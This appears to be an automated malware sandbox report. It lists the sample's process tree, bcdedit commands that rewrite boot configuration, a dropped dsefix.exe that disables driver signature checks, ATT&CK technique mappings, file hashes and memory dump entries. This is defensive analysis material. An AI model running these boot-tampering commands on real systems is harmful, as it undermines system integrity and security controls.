C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:3956

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:2820

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
5⤵
- Modifies boot configuration data using bcdedit
PID:3644

C:\Windows\System32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1520

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:3064

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:676

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
b6240ec8985bd080a7193f70801b2810

SHA1
75d579b58ab63268d180c055ba040a4752438d05

SHA256
9808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6

SHA512
f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02

Download Submit
C:\Windows\rss\csrss.exe
MD5
b6240ec8985bd080a7193f70801b2810

SHA1
75d579b58ab63268d180c055ba040a4752438d05

SHA256
9808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6

SHA512
f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
335ee604bc5976ee83b38f3dddfed723

SHA1
2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

SHA256
8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

SHA512
87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
78c581e475d59efdebee2d3f4355f03f

SHA1
fda6c1f77f772afaa1b44a44c1fb29ee07434d10

SHA256
9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

SHA512
35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
memory/408-31-0x0000000000000000-mapping.dmp

Download
memory/468-41-0x0000000000000000-mapping.dmp

Download
memory/812-23-0x0000000000000000-mapping.dmp

Download
memory/984-15-0x0000000000000000-mapping.dmp

Download
memory/1100-10-0x0000000000400000-0x0000000000B11000-memory.dmp

Filesize
7.1MB

Download
memory/1100-9-0x0000000008190000-0x0000000008191000-memory.dmp

Filesize
4KB

Download
memory/1100-7-0x0000000000000000-mapping.dmp

Download
memory/1396-25-0x0000000000000000-mapping.dmp

Download
memory/1520-45-0x0000000000000000-mapping.dmp

Download
memory/1588-33-0x0000000000000000-mapping.dmp

Download
memory/1700-14-0x0000000000000000-mapping.dmp

Download
memory/2544-17-0x0000000000000000-mapping.dmp

Download
memory/2544-21-0x00000000087B0000-0x00000000087B1000-memory.dmp

Filesize
4KB

Download
memory/2820-43-0x0000000000000000-mapping.dmp

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memory/3064-46-0x0000000000000000-mapping.dmp

Download
memory/3108-38-0x0000000000000000-mapping.dmp

Download
memory/3336-34-0x0000000000000000-mapping.dmp

Download
memory/3392-13-0x0000000000000000-mapping.dmp

Download
memory/3444-40-0x0000000000000000-mapping.dmp

Download
memory/3608-24-0x0000000000000000-mapping.dmp

Download
memory/3632-35-0x0000000000000000-mapping.dmp

Download
memory/3640-36-0x0000000000000000-mapping.dmp

Download
memory/3644-44-0x0000000000000000-mapping.dmp

Download
memory/3824-37-0x0000000000000000-mapping.dmp

Download
memory/3896-39-0x0000000000000000-mapping.dmp

Download
memory/3908-1-0x0000000008380000-0x0000000008381000-memory.dmp

Filesize
4KB

Download
memory/3908-2-0x0000000000400000-0x0000000000B11000-memory.dmp

Filesize
7.1MB

Download
memory/3956-42-0x0000000000000000-mapping.dmp

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memory/3964-32-0x0000000000000000-mapping.dmp

Download
memory/4048-16-0x0000000000000000-mapping.dmp

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